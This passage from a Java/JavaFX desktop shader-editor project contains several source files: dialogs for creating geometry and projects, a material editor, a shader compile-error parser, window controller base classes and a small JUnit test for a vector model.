createObjectFileEditor(); createSphereEditor(); createCubeEditor(); getDialogPane().getButtonTypes().addAll(ButtonType.CANCEL, ButtonType.OK); Button okButton = (Button) getDialogPane().lookupButton(ButtonType.OK); // Ensure dialog can only submit if input is valid okButton.addEventFilter(ActionEvent.ACTION, event -> { if (validationSupport.isInvalid()) { messageBanner.show(validationSupport); event.consume(); } else { messageBanner.hide(); } getDialogPane().getScene().getWindow().sizeToScene(); }); setResultConverter(buttonType -> { if (buttonType.equals(ButtonType.OK) && modelTypeChoice.getValue() != null) { Geometry geometry = new Geometry(geometryId.getText()); switch (modelTypeChoice.getValue()) { case CUBE: Cube cube = new Cube(); geometry.setMesh(cube); geometry.setScale(((Number)cubesizeField.getTextFormatter().getValue()).floatValue()); break; case SPHERE: Sphere sphere = new Sphere( ((Number) radiusField.getTextFormatter().getValue()).floatValue(), ((Number) ringsField.getTextFormatter().getValue()).intValue(), ((Number) segmentsField.getTextFormatter().getValue()).intValue()); geometry.setMesh(sphere); break; case CREATE_FROM_FILE: String meshToLoad = pathToMeshTextfield.getText(); LoadMeshTask loadMeshTask = new LoadMeshTask(meshToLoad); loadMeshTask.setOnFailed(event -> { Throwable causingExecption = loadMeshTask.getException(); String cause = causingExecption == null ? "" : "\n" + causingExecption.getMessage(); Alert errorCouldNotLoad = new Alert(Alert.AlertType.ERROR, getString("geometry.create.dlg.file.loadFailed", meshToLoad)); errorCouldNotLoad.setTitle(getString("geometry.create.dlg.file.loadFailed.title")); errorCouldNotLoad.setHeaderText(getString("geometry.create.dlg.file.loadFailed.title")); errorCouldNotLoad.initOwner(getOwner()); errorCouldNotLoad.show(); }); loadMeshTask.setOnSucceeded((event) -> geometry.setMesh(loadMeshTask.getValue())); loadMeshTask.run(); break; } return geometry; } return null; }); } private void createObjectFileEditor() { pathToMeshTextfield = TextFields.createClearableTextField(); fileChooserButton = new Button("..."); fileChooserButton.setOnAction(this::onButtonChooserButtonPressed); } private void createSphereEditor() { radiusField = createNumberOnlyTextfield(3); radiusField.setPromptText(getString("geometry.create.dlg.sphere.radius.prompt")); ringsField = createNumberOnlyTextfield(3); ringsField.setPromptText(getString("geometry.create.dlg.sphere.rings.prompt")); segmentsField = createNumberOnlyTextfield(3); segmentsField.setPromptText(getString("geometry.create.dlg.sphere.segments.prompt")); } private void createCubeEditor() { cubesizeField = createNumberOnlyTextfield(DEFAULT_CUBE_SIZE); cubesizeField.setPromptText("Kantenlรคnge des Wรผrfels"); cubesizeField.setTooltip(new Tooltip("Bestimmt wie groรŸ der Wรผrfel ist")); } /****************************************************************************** * * Methods * ******************************************************************************/ private void showCubeEditor() { String cubeSizeLabel = getString("geometry.create.dlg.cube.size.label"); rootGrid.addFormEntry(0, 3, cubeSizeLabel, cubesizeField); if (! validationSupport.getRegisteredControls().contains(cubesizeField)) { validationSupport.registerValidator(cubesizeField, false, Validations.createMinimumValidator(cubeSizeLabel, 1.0)); } } private void showSphereEditor() { String radiusLabel = getString("geometry.create.dlg.sphere.radius.label"); String ringsLabel = getString("geometry.create.dlg.sphere.rings.label"); String segmentsLabel= getString("geometry.create.dlg.sphere.segments.label"); rootGrid.addFormEntry(0, 3, radiusLabel, radiusField); rootGrid.addFormEntry(0, 4, ringsLabel, ringsField); rootGrid.addFormEntry(0, 5, segmentsLabel, segmentsField); if (! validationSupport.getRegisteredControls().contains(radiusField)) { validationSupport.registerValidator(radiusField, true, Validations.createEmptyValidator(radiusLabel)); validationSupport.registerValidator(ringsField, true, Validations.createMinimumValidator(ringsLabel, 3)); validationSupport.registerValidator(segmentsField, true, Validations.createMinimumValidator(segmentsLabel, 3)); } } private void showObjectFileEditor() { rootGrid.addFormEntry(0, 3, getString("geometry.create.dlg.file.label"), pathToMeshTextfield, fileChooserButton); } public Collection<FileChooser.ExtensionFilter> getSupportedExtensions() { return Arrays.asList( new FileChooser.ExtensionFilter("Wavefront .obj file", "*.obj") ); } /****************************************************************************** * * Event Handling * ******************************************************************************/ private void onModelTypeChanged(ObservableValue<? extends GeometryType> observable, GeometryType oldType, GeometryType newType) { if (rootGrid.getChildren().size() > 4) { rootGrid.getChildren().remove(4, rootGrid.getChildren().size()); } radiusField.setText("3"); ringsField.setText("3"); segmentsField.setText("3"); cubesizeField.setText(DEFAULT_CUBE_SIZE + ""); pathToMeshTextfield.setText(""); validationSupport.initInitialDecoration(); switch (newType) { case CUBE: showCubeEditor(); break; case SPHERE: showSphereEditor();break; case CREATE_FROM_FILE: showObjectFileEditor(); break; } getDialogPane().getScene().getWindow().sizeToScene(); } private void onButtonChooserButtonPressed(ActionEvent event) { event.consume(); fileModelChooser = new FileChooser(); fileModelChooser.setInitialDirectory(new File("assets/models")); fileModelChooser.setTitle("Choose a model file"); fileModelChooser.getExtensionFilters().addAll(getSupportedExtensions()); File file = fileModelChooser.showOpenDialog(getOwner()); if (file != null && file.exists()) { pathToMeshTextfield.setText(file.getAbsolutePath()); } } /****************************************************************************** * * Utils * ******************************************************************************/ private TextField createNumberOnlyTextfield(double defaultSize) { TextField textField = new TextField(); textField.setMaxWidth(Double.MAX_VALUE); NumberStringConverter numberStringConverter = new NumberStringConverter(numberFormatInstance); textField.setTextFormatter(new TextFormatter<>(numberStringConverter, defaultSize, change -> { if (change.isAdded() || change.isReplaced()) { String text = change.getText(); for (int i = 0; i < text.length(); i++) { char chr = text.charAt(i); if (!(Character.isDigit(chr) || chr == '.' || chr == ',' )) return null; } } return change; })); return textField; } } ``` Vector3fModelTest.java ```package eu.yvka.shadersloth.app.model; import javafx.beans.value.ChangeListener; import org.joml.Vector3f; import org.junit.Before; import org.junit.Test; import static org.junit.Assert.*; import static org.mockito.Mockito.*; public class Vector3fModelTest { private Vector3fModel model; @Before public void createTestInstance() { this.model = new Vector3fModel(); } @Test public void testXGetterSetter() throws Exception { assertEquals(0.0f, model.getX(), 0.01f); model.setX(1.0f); assertEquals(1.0f, model.getX(), 0.01f); model.setX(2.0f); assertEquals(2.0f, model.getX(), 0.01f); } @Test public void testXPropertyChangeListener() { ChangeListener changeListenerMock = mock(ChangeListener.class); model.xProperty().addListener(changeListenerMock); model.setX(46.0f); verify(changeListenerMock).changed(model.xProperty(), 0.0f, 46.0f); } @Test public void testYGetterSetter() throws Exception { assertEquals(0.0f, model.getY(), 0.01f); model.setY(1.0f); assertEquals(1.0f, model.getY(), 0.01f); model.setY(2.0f); assertEquals(2.0f, model.getY(), 0.01f); } @Test public void testYPropertyChangeListener() { ChangeListener changeListenerMock = mock(ChangeListener.class); model.yProperty().addListener(changeListenerMock); model.setY(1.0f); model.setY(22.0f); verify(changeListenerMock).changed(model.yProperty(), 1.0f, 22.0f); } @Test public void testZGetterSetter() throws Exception { assertEquals(0.0f, model.getZ(), 0.01f); model.setZ(1.0f); assertEquals(1.0f, model.getZ(), 0.01f); model.setZ(2.0f); assertEquals(2.0f, model.getZ(), 0.01f); } @Test public void testZPropertyChangeListener() { ChangeListener changeListenerMock = mock(ChangeListener.class); model.zProperty().addListener(changeListenerMock); model.setZ(1.0f); model.setZ(22.0f); verify(changeListenerMock).changed(model.zProperty(), 1.0f, 22.0f); } @Test public void testToVector() { model.setX(1.0f); model.setY(0.0f); model.setZ(-2.0f); Vector3f vector3f = model.toVector3f(); assertNotNull(vector3f); assertEquals(1.0f, vector3f.x, 0.01); assertEquals(0.0f, vector3f.y, 0.01); assertEquals(-2.0f, vector3f.z, 0.01); } } ``` FontBasedIcon.java ```package eu.yvka.shadersloth.share.controls; /** * A font based icon is a unicode string which * represents an icon in specific font * like AwesomeFontIcon. */ public interface FontBasedIcon { /** * @return the text which represents this icon. */ String getText(); } ``` Vector3fModel.java ```package eu.yvka.shadersloth.app.model; import javafx.beans.property.FloatProperty; import javafx.beans.property.SimpleFloatProperty; import org.joml.Vector3f; public class Vector3fModel { private final FloatProperty x = new SimpleFloatProperty(0.0f); private final FloatProperty y = new SimpleFloatProperty(0.0f); private final FloatProperty z = new SimpleFloatProperty(0.0f); public Vector3fModel() { } public float getX() { return x.get(); } public void setX(float value) { xProperty().set(value); } public FloatProperty xProperty() { return x; } public float getY() { return y.get(); } public void setY(float value) { yProperty().set(value); } public FloatProperty yProperty() { return y; } public float getZ() { return z.get(); } public void setZ(float value) { zProperty().set(value); } public FloatProperty zProperty() { return z; } public Vector3f toVector3f() { return new Vector3f().set(getX(), getY(), getZ()); }; } ``` ProjectCreateDialog.java ```package eu.yvka.shadersloth.app.project; import eu.yvka.shadersloth.app.AppFolder; import eu.yvka.shadersloth.share.controls.FileAlreadyExistsDialog; import javafx.event.ActionEvent; import javafx.scene.control.*; import javafx.stage.Modality; import javafx.stage.StageStyle; import java.io.File; import static eu.yvka.shadersloth.share.I18N.I18N.getString; /** * A dialog which requests a project name from * the user for a new project. * <p/> * * @author Yves Kaufmann * @since 26.07.2016 */ public class ProjectCreateDialog extends TextInputDialog { public ProjectCreateDialog(boolean isInitialProject) { super("untitled"); setTitle(getString("project.create.dlg.title")); setHeaderText(getString("project.create.dlg.header")); getEditor().setPromptText(getString("project.create.dlg.name.prompt")); final Button okButton = (Button) getDialogPane().lookupButton(ButtonType.OK); okButton.addEventFilter(ActionEvent.ACTION, this::onOkButtonClicked); // when no project is currently active then a project must created if (isInitialProject) { getDialogPane().getButtonTypes().remove(ButtonType.CANCEL); getDialogPane().setStyle("-fx-border-color: black;"); initStyle(StageStyle.UNDECORATED); } } public void onOkButtonClicked(ActionEvent e) { String projectName = getEditor().getText(); // ensure that the user has entered a project name if (projectName.trim().equals("")) { e.consume(); Alert alert = new Alert(Alert.AlertType.ERROR); alert.setContentText(getString("project.create.dlg.missing.name")); alert.showAndWait(); } // ensure project isn't already created final File projectFolder = new File(AppFolder.getProjectsFolder(), projectName); if (projectFolder.exists()) { e.consume(); FileAlreadyExistsDialog fileAlreadyExistsDialog = new FileAlreadyExistsDialog(projectFolder); fileAlreadyExistsDialog.showAndWait().ifPresent(buttonType -> { if (buttonType.equals(ButtonType.YES)) { setResult(projectName); hide(); } }); } } } ``` ShaderErrorController.java ```package eu.yvka.shadersloth.app.materialEditor.shaders.errors; import eu.yvka.slothengine.engine.Engine; import eu.yvka.slothengine.shader.Shader; import eu.yvka.slothengine.shader.ShaderErrorListener; import eu.yvka.slothengine.shader.source.ShaderSource; import javafx.fxml.FXML; import java.io.File; import java.util.function.Predicate; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * @author Yves Kaufmann * @since 18.07.2016 */ public class ShaderErrorController implements ShaderErrorListener { // "\s[A-Za-z0-9]+:\s([.*]+) private final Pattern NVIDIA_ERROR_PATTERN = Pattern.compile("^[0-9]+\\Q(\\E(\\d+)\\Q)\\E\\s:\\s(?:warning|error)\\s[A-Z0-9]+:\\s(.+)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE); /****************************************************************************** * * FXML Fields * ******************************************************************************/ @FXML private ShaderErrorTable errorTable; /****************************************************************************** * * Constructor * ******************************************************************************/ public ShaderErrorController() { } /****************************************************************************** * * Methods * ******************************************************************************/ public void initialize() { Engine.registerShaderErrorListener(this); } @Override public void onCompileError(Shader shader, ShaderSource source, String error) { Matcher m = NVIDIA_ERROR_PATTERN.matcher(error); errorTable.getItems().clear(); while (m != null && m.find()) { String line = m.group(1); String msg = m.group(2); ShaderError shaderError = new ShaderError(msg, new File(source.getName()).getName(), Integer.valueOf(line), source); errorTable.getItems().add(shaderError); } } @Override public void onResolved(Shader shader, ShaderSource source) { // remove all resolved errors errorTable.getItems().removeIf(shaderError -> shaderError.getSource().equals(source)); } @Override public void onLinkError(Shader shader, String error) { } } ``` ShaderSlothController.java ```package eu.yvka.shadersloth.app; import eu.yvka.shadersloth.app.materialEditor.MaterialEditorController; import eu.yvka.shadersloth.app.materialEditor.MaterialEvent; import eu.yvka.shadersloth.app.project.DummyProject; import eu.yvka.shadersloth.app.project.Project; import eu.yvka.shadersloth.app.project.ProjectManager; import eu.yvka.shadersloth.app.sceneEditor.SceneTreeEditorController; import eu.yvka.shadersloth.share.I18N.I18N; import eu.yvka.shadersloth.app.sceneEditor.genericEditor.GenericEditorController; import eu.yvka.shadersloth.app.menubar.MenuBarController; import eu.yvka.shadersloth.app.materialEditor.shaders.ShaderEditor; import eu.yvka.shadersloth.app.renderView.RenderService; import eu.yvka.shadersloth.share.controller.AbstractWindowController; import eu.yvka.slothengine.engine.Engine; import eu.yvka.slothengine.material.Material; import eu.yvka.slothengine.scene.Scene; import eu.yvka.slothengine.shader.source.ShaderSource; import javafx.application.Platform; import javafx.beans.property.ObjectProperty; import javafx.beans.property.SimpleObjectProperty; import javafx.fxml.FXML; import javafx.scene.control.*; import javafx.scene.image.Image; import javafx.scene.image.ImageView; import javafx.scene.layout.AnchorPane; import javafx.stage.Stage; import javafx.stage.WindowEvent; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.inject.Inject; import java.io.File; public class ShaderSlothController extends AbstractWindowController { private static final Logger Log = LoggerFactory.getLogger(ShaderSlothController.class); public enum ApplicationAction { ACTION_NEW, ACTION_OPEN, ACTION_SAVE, ACTION_SAVE_AS, ACTION_OPEN_RECENT, ACTION_QUIT, ACTION_ABOUT } /****************************************************************************** * * FXML Fields * ******************************************************************************/ @FXML private TitledPane sceneTreeRoot; @FXML private TitledPane editorRoot; @FXML private TitledPane materialEditorRoot; @FXML private AnchorPane renderViewRoot; @FXML private ImageView renderView; @FXML private TabPane sourceTabs; @FXML private Tab sceneTab; @FXML private MenuBarController menuBarController; /****************************************************************************** * * Fields * ******************************************************************************/ private SceneTreeEditorController sceneTreeEditor = new SceneTreeEditorController(this); private GenericEditorController genericEditorController = new GenericEditorController(this); private MaterialEditorController materialEditorController = new MaterialEditorController(this); private RenderService renderService; @Inject private ProjectManager projectManager; /****************************************************************************** * * Construction * ******************************************************************************/ public ShaderSlothController(Stage primaryStage) { super(App.class.getResource("view/shaderSlothView.fxml"), primaryStage); setTitle(I18N.getString("app.title")); } @Override protected void onFxmlLoaded() { assert renderView != null; getStage().getIcons().add(new Image(App.class.getResource("images/material_icon_64x64.png").toExternalForm())); menuBarController.initAppController(this); sceneTreeRoot.setContent(sceneTreeEditor.getRoot()); editorRoot.setContent(genericEditorController.getRoot()); materialEditorRoot.setContent(materialEditorController.getRoot()); renderService = new RenderService(renderView); getRoot().addEventHandler(MaterialEvent.ANY, this::onMaterialChanged); initSourceView(); initRenderView(); } private void initSourceView() { materialEditorController.selectedMaterialProperty().addListener((observable, oldValue, newValue) -> { updateShaderEditor(newValue); }); sourceTabs.setTabClosingPolicy(TabPane.TabClosingPolicy.UNAVAILABLE); } private void updateShaderEditor(Material newValue) { sourceTabs.getTabs().clear(); if (newValue != null) { for (ShaderSource source : newValue.getShader().getShaderSources()) { final File file = new File(source.getName()); Tab tab = new Tab(file.getName()); ShaderEditor shaderEditor = new ShaderEditor(source); tab.setContent(shaderEditor); sourceTabs.getTabs().add(tab); } } } @Override protected void onStageCreated() { getStage().setWidth(1280); getStage().setHeight(1024); getStage().centerOnScreen(); } @Override public void onCloseRequest(WindowEvent windowEvent) { performAction(ApplicationAction.ACTION_QUIT); } @Override protected void onSceneCreated() { getScene().getStylesheets().add(App.class.getResource("css/style.css").toExternalForm()); } /****************************************************************************** * * Methods * ******************************************************************************/ public void performOpenRecentProject(File file) { // TODO: implement open project } public boolean canPerformAction(ApplicationAction action) { boolean canPerform = false; switch (action) { case ACTION_NEW: case ACTION_OPEN: case ACTION_OPEN_RECENT: case ACTION_QUIT: canPerform = true; break; } return canPerform; } public void performAction(ApplicationAction action) { switch (action) { case ACTION_NEW: performNewProject(); break; case ACTION_QUIT: performQuit(); break; } } private void performNewProject() { if (getProject() != null) { // TODO: request for save } final Project newProject = projectManager.createNewProject(); if (newProject != null) { projectManager.setCurrentProject(newProject); renderService.setScene(newProject.getScene()); loadProject(getProject()); } } private void loadProject(Project project) { final Scene scene = project.getScene(); renderService.setScene(scene); sceneTreeEditor.loadScene(scene); materialEditorController.loadProject(project); } private void performQuit() { final Alert alert = new Alert(Alert.AlertType.CONFIRMATION); final ButtonType save = new ButtonType(I18N.getString("alert.btn.save"), ButtonBar.ButtonData.YES); final ButtonType discard = new ButtonType(I18N.getString("alert.btn.discard"), ButtonBar.ButtonData.NO); final ButtonType cancel = new ButtonType(I18N.getString("alert.btn.cancel"), ButtonBar.ButtonData.CANCEL_CLOSE); alert.getButtonTypes().setAll(save, discard, ButtonType.CANCEL); alert.setHeaderText(I18N.getString("alert.confirm.changes.header", "UNTITLED")); alert.setContentText(I18N.getString("alert.confirm.changes.message")); alert.showAndWait().ifPresent((buttonType) -> { boolean exitRequested = false; if (cancel.equals(buttonType)) { exitRequested = false; } if (discard.equals(buttonType)) { exitRequested = true; } if (save.equals(buttonType)) { exitRequested = true; // TODO: save unsaved project } if (exitRequested) { stop(); Platform.runLater(() -> { if (renderService.isRunning()) { renderService.cancel(); } Platform.exit(); }); } }); } private void initRenderView() { renderView.setPreserveRatio(true); renderViewRoot.widthProperty().addListener((observable, oldValue, newValue) -> { if (newValue.intValue() % 2 != 0) { newValue = newValue.intValue() + 1; } renderView.fitWidthProperty().set(newValue.intValue()); }); renderViewRoot.heightProperty().addListener((observable, oldValue, newValue) -> { if (newValue.intValue() % 2 != 0) { newValue = newValue.intValue() + 1; } renderView.fitHeightProperty().set(newValue.intValue()); }); } /*** * Starts the render service. */ public void start() { Log.info("Start ShaderSlothRenderer View"); renderService.start(); // we can only start a project // when the engine is already running // and we have to make sure that the // performNewProject is performed on // the javafx thread. Engine.runWhenReady(() -> { Platform.runLater(() -> { performNewProject(); }); }); } /** * Stops the render service */ public void stop() { Log.info("Stop ShaderSlothRenderer View"); renderService.cancel(); } /****************************************************************************** * * Event Handlers * ******************************************************************************/ private void onMaterialChanged(MaterialEvent event) { // notify editors that the material list has changed genericEditorController.refresh(); if (event.getEventType().equals(MaterialEvent.MATERIAL_NAME_CHANGED)) { updateShaderEditor(event.getAffectedMaterial()); } event.consume(); } /****************************************************************************** * * Controller Getter * ******************************************************************************/ /** * @return the editor controller instance */ public GenericEditorController getGenericEditorController() { return genericEditorController; } /*** * @return the scene editor controller instance */ public SceneTreeEditorController getSceneTreeEditorController() { return sceneTreeEditor; } /****************************************************************************** * * Properties * ******************************************************************************/ private ObjectProperty<Scene> slothScene; /** * @return the related slothScene property of this controllers. */ public ObjectProperty<Scene> sceneProperty() { return null; } /*** * @return the related slothScene of this controllers. */ public Scene getSlothScene() { return sceneProperty().get(); } /** * * @return * @deprecated */ public ObjectProperty<Scene> slothSceneProperty() { if (slothScene == null) { slothScene = new SimpleObjectProperty<>(this, "sceneProperty"); } return slothScene; } /** * Retrieves the current project * * @return the current project */ public Project getProject() { return projectManager.getCurrentProject(); } } ``` MaterialEditorController.java ```package eu.yvka.shadersloth.app.materialEditor; import eu.yvka.shadersloth.app.App; import eu.yvka.shadersloth.app.ShaderSlothController; import eu.yvka.shadersloth.app.materialEditor.shaders.ShaderTemplateHelper; import eu.yvka.shadersloth.app.project.Project; import eu.yvka.shadersloth.app.sceneEditor.PropertyEditors; import eu.yvka.shadersloth.share.I18N.I18N; import eu.yvka.shadersloth.share.controller.AbstractController; import eu.yvka.slothengine.engine.Engine; import eu.yvka.slothengine.material.BasicMaterial; import eu.yvka.slothengine.material.Material; import eu.yvka.slothengine.math.Color; import eu.yvka.slothengine.shader.Shader; import eu.yvka.slothengine.utils.NameAlreadyInUseException; import javafx.beans.property.ObjectProperty; import javafx.beans.property.ReadOnlyObjectProperty; import javafx.beans.property.SimpleObjectProperty; import javafx.collections.ObservableList; import javafx.fxml.FXML; import javafx.scene.control.*; import javafx.scene.image.Image; import javafx.scene.image.ImageView; import javafx.scene.input.KeyCode; import org.controlsfx.control.PropertySheet; import org.controlsfx.property.BeanPropertyUtils; import org.controlsfx.property.editor.DefaultPropertyEditorFactory; import org.controlsfx.property.editor.PropertyEditor; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.beans.IntrospectionException; import java.util.Optional; /*** * Controller for editing and creating materials */ public class MaterialEditorController extends AbstractController { private static final Logger Log = LoggerFactory.getLogger(MaterialEditorController.class); /*** * List cell for material is responsible to render a material in * a list view. */ private class MaterialCell extends ListCell<Material> { private ImageView imageView; private TextField editTextField; @Override protected void updateItem(Material item, boolean empty) { super.updateItem(item, empty); if (item == null || empty) { setText(null); setGraphic(null); return; } if (isEditing()) { if (editTextField != null) { editTextField.setText(item.getMaterialName()); setText(null); setGraphic(editTextField); } } else { if (imageView == null) { Image image = new Image(App.class.getResource("images/material_icon_32x32.png").toExternalForm()); imageView = new ImageView(image); imageView.setPreserveRatio(true); imageView.setFitHeight(16); } setText(item.getMaterialName()); setGraphic(imageView); } } @Override public void startEdit() { super.startEdit(); if (isEditing()) { if (editTextField == null) { editTextField = new TextField(getItem().getMaterialName()); editTextField.setOnAction((event) -> { String newMame = editTextField.getText(); Material mat = getItem(); String oldName = mat.getMaterialName(); try { Engine.materialManager().renameMaterial(mat, newMame); getRoot().fireEvent(new MaterialEvent(MaterialEvent.MATERIAL_NAME_CHANGED, mat)); editTextField.getStyleClass().remove("invalid"); commitEdit(mat); } catch (NameAlreadyInUseException e) { editTextField.getStyleClass().remove("invalid"); editTextField.getStyleClass().add("invalid"); } event.consume(); }); editTextField.setOnKeyReleased((event -> { if (KeyCode.ESCAPE.equals(event.getCode()) && !editTextField.getStyleClass().contains("invalid")) { cancelEdit(); event.consume(); } })); } setText(null); setGraphic(editTextField); editTextField.requestFocus(); editTextField.selectAll(); } } @Override public void cancelEdit() { super.cancelEdit(); setText(getItem().getMaterialName()); setGraphic(imageView); } } /****************************************************************************** * * FXML Fields * ******************************************************************************/ /** * Button for add Materials */ @FXML private Button addMaterialButton; /*** * Button for removing materials */ @FXML private Button removeMaterialButton; /*** * View for all available materials */ @FXML private ListView<Material> materialList; /** * Shows all properties of the current selected material */ @FXML private PropertySheet materialProperties; /****************************************************************************** * * Fields * ******************************************************************************/ /** * The current selected material */ Optional<Material> currentMaterial = Optional.empty(); /** * The next material number which is used for * generating atomic material ids, if * no name is provided for this material */ private int nextMaterialNumber; /** * Shader-Controller Instance */ private final ShaderSlothController shaderSlothController; /** * The current loaded project * */ private Project project; /****************************************************************************** * * Constructors * ******************************************************************************/ public MaterialEditorController(ShaderSlothController controller) { super(App.class.getResource("view/materialEditor.fxml")); this.shaderSlothController = controller; } /****************************************************************************** * * Methods * ******************************************************************************/ @Override protected void onFxmlLoaded() { materialList.setCellFactory(listView -> new MaterialCell()); materialList.getSelectionModel().setSelectionMode(SelectionMode.SINGLE); materialList.getSelectionModel().selectedItemProperty().addListener((observable, oldSelection, newSelection) -> { if (newSelection != null && newSelection != oldSelection) { selectedMaterial.set(newSelection); readMaterialProperties(newSelection); } }); addMaterialButton.setOnAction((event) -> { createNewMaterial(); }); removeMaterialButton.setOnAction((event) -> { deleteCurrentMaterial(); }); materialProperties.setPropertyEditorFactory(new DefaultPropertyEditorFactory() { @Override public PropertyEditor<?> call(PropertySheet.Item item) { PropertyEditor<?> propertyEditor = null; propertyEditor = super.call(item); if (propertyEditor == null) { Class<?> type = item.getType(); if (type == Color.class) { propertyEditor = PropertyEditors.createColorEditor(item); } } return propertyEditor; } }); } public void loadProject(Project project) { this.project = project; materialList.getItems().setAll(project.getMaterials()); if (! materialList.getItems().isEmpty()) { materialList.getSelectionModel().selectFirst(); } } private void readMaterialProperties(Material material) { try { materialProperties.getItems().setAll(buildMaterialPropertiesItems(material)); materialProperties.setDisable(false); } catch (IntrospectionException | NoSuchMethodException e) { e.printStackTrace(); } } private ObservableList<PropertySheet.Item> buildMaterialPropertiesItems(Material material) throws IntrospectionException, NoSuchMethodException { ObservableList<PropertySheet.Item> properties = BeanPropertyUtils.getProperties(material.getRenderState(), propertyDescriptor -> { return propertyDescriptor.getWriteMethod() != null; }); properties.addAll(BeanPropertyUtils.getProperties(material, (propertyDescriptor) -> { return (propertyDescriptor.getPropertyType().equals(Number.class) || propertyDescriptor.getPropertyType().equals(Color.class) || propertyDescriptor.getPropertyType().isPrimitive()) && !propertyDescriptor.getPropertyType().equals(Boolean.TYPE); })); return properties; } private void createNewMaterial() { assert project != null; String name = I18N.getString("material.name.template", nextMaterialNumber++); while (Engine.materialManager().isMaterialNameInUse(name)) { name = I18N.getString("material.name.template", nextMaterialNumber++); } Shader shader = ShaderTemplateHelper.createShader(project.getProjectFolder(), name); Material material = new BasicMaterial(shader); material.setMaterialName(name); try { Engine.materialManager().registerMaterial(material); } catch (NameAlreadyInUseException e) { new Alert(Alert.AlertType.ERROR, e.getMessage(), ButtonType.OK); } project.getMaterials().add(material); materialList.getItems().add(material); materialList.getSelectionModel().selectLast(); getRoot().fireEvent(new MaterialEvent(MaterialEvent.MATERIAL_CREATED, material)); } private void deleteCurrentMaterial() { int currentMaterial = materialList.getSelectionModel().getSelectedIndex(); if (currentMaterial != -1) { Material material = materialList.getItems().remove(currentMaterial); project.getMaterials().remove(material); Engine.materialManager().unregisterMaterial(material); getRoot().fireEvent(new MaterialEvent(MaterialEvent.MATERIAL_DELETED, material)); } if (materialList.getItems().isEmpty()) { selectedMaterial.set(null); } } /****************************************************************************** * * Properties * ******************************************************************************/ private ObjectProperty<Material> selectedMaterial; public ReadOnlyObjectProperty<Material> selectedMaterialProperty() { if (selectedMaterial == null) { selectedMaterial = new SimpleObjectProperty<>(this, "selectedMaterialProperty"); } return selectedMaterial; } } ``` AbstractWindowController.java ```package eu.yvka.shadersloth.share.controller; import eu.yvka.shadersloth.share.I18N.I18N; import javafx.beans.property.SimpleStringProperty; import javafx.beans.property.StringProperty; import javafx.scene.Parent; import javafx.scene.Scene; import javafx.scene.SceneAntialiasing; import javafx.stage.Stage; import javafx.stage.Window; import javafx.stage.WindowEvent; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.net.URL; import java.util.ResourceBundle; /** * A controllers which controls a window and defines its content * by specifying a view/fxml file. */ public abstract class AbstractWindowController extends AbstractController { private static final Logger Log = LoggerFactory.getLogger(AbstractWindowController.class); /** * The owner of the window which this controllers * controls. */ private Window owner; /** * The Stage of this window. */ private Stage stage; /** * The scene which is controlled by this controllers. */ private Scene scene; /** * Defines the title of the window. * * @see #titleProperty() */ private StringProperty title; /** * Creates a {@code WindowController} for a top level window and specifies * the corresponding view and set the default {@link ResourceBundle}. * * Use this constructor for creating a controllers for a top level * window. * * @param location a url to the corresponding fxml/view file. */ public AbstractWindowController(URL location) { this(location, I18N.getResourceBundle(), null); } /** * Creates a {@code WindowController} for a non top level window and specifies * the corresponding view and set the default {@link ResourceBundle}. * * Use this constructor for creating a controllers for a child window * of the {@code owner} window. * * @param location a url to the corresponding fxml/view file. * * @param owner the parent window of the controlled window. */ public AbstractWindowController(URL location, Window owner) { this(location, I18N.getResourceBundle(), owner); } /** * Creates a {@code WindowController} for a window and specifies * the corresponding view, resourceBundle and its owner. * * @param location a url to the corresponding fxml/view file. * * @param resourceBundle the {@link ResourceBundle} which should be used for internalization. * This is the place where all translated texts/string are stored * * @param owner the parent window of the controlled window. * If null the controlled window will be a top level window. */ protected AbstractWindowController(URL location, ResourceBundle resourceBundle, Window owner) { super(location, resourceBundle); this.owner = owner; } /** * Retrieves the scene of the controlled window. * Enables sub classes to access the scene of the * controlled window. * * @return the scene of the controlled window. */ public Scene getScene() { if (scene == null) { Parent root = getRoot(); scene = new Scene(root, -1, -1, true, SceneAntialiasing.BALANCED); onSceneCreated(); } return scene; } /** * Retrieves the stage of the controlled window. * * @return the stage of the controlled window. */ public Stage getStage() { if (stage == null) { if (owner instanceof Stage) { stage = (Stage) owner; } else { stage = new Stage(); if (owner != null) { stage.initOwner(owner); } } stage.titleProperty().bind(titleProperty()); stage.setOnCloseRequest(this::onCloseRequest); stage.setScene(getScene()); stage.sizeToScene(); onStageCreated(); } return stage; } /** * Show this window in front all other windows. */ public void show() { getStage().show(); getStage().toFront(); } /** * Close the controlled window. */ public void close() { getStage().close(); } /** * Defines the title of the window. * * @defaultValue empty string * @return the title property. * @see #getTitle() * @see #setTitle(String) */ public StringProperty titleProperty() { if (title == null) { title = new SimpleStringProperty(this, "title", ""); } return title; } /** * @return the title of the window */ public String getTitle() { return titleProperty().get(); } /** * Set the value of the title property. * * @param title the title of the window * * @see #titleProperty() */ public void setTitle(String title) { titleProperty().set(title); } /** * Will be called when the controlled window is requested to be closed. * Enables a sub class to respond to window close events. * * @param windowEvent the event related to the closing action. */ abstract public void onCloseRequest(WindowEvent windowEvent); /** * Called when the scene was created. * A subclass must implement its scene initialization * in this method. */ abstract protected void onSceneCreated(); /** * Called when the stage was created. * A subclass must implement its stage initialization * in this method. */ abstract protected void onStageCreated(); } ``` NumberInputBehaviour.java ```package eu.yvka.shadersloth.app.controls.number; import com.sun.javafx.scene.control.behavior.BehaviorBase; import com.sun.javafx.scene.control.behavior.TwoLevelFocusBehavior; import eu.yvka.shadersloth.app.controls.NumberInput; public class NumberInputBehaviour extends BehaviorBase<NumberInput>{ private TwoLevelFocusBehavior tlFocus; public NumberInputBehaviour() { super(null ,TRAVERSAL_BINDINGS); } /** * Create a new BehaviorBase for the given control. The Control must not * be null. * * @param control The control. Must not be null. */ public NumberInputBehaviour(NumberInput control) { super(control, TRAVERSAL_BINDINGS); if (com.sun.javafx.scene.control.skin.Utils.isTwoLevelFocus()) { tlFocus = new TwoLevelFocusBehavior(control); // needs to be last. } } @Override public void dispose() { if (tlFocus != null) tlFocus.dispose(); super.dispose(); } } ``` App.java ```package eu.yvka.shadersloth.app; import eu.yvka.shadersloth.share.context.ApplicationContext; import javafx.application.Application; import javafx.application.Platform; import javafx.stage.Stage; import org.controlsfx.dialog.ExceptionDialog; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.Collections; public class App extends 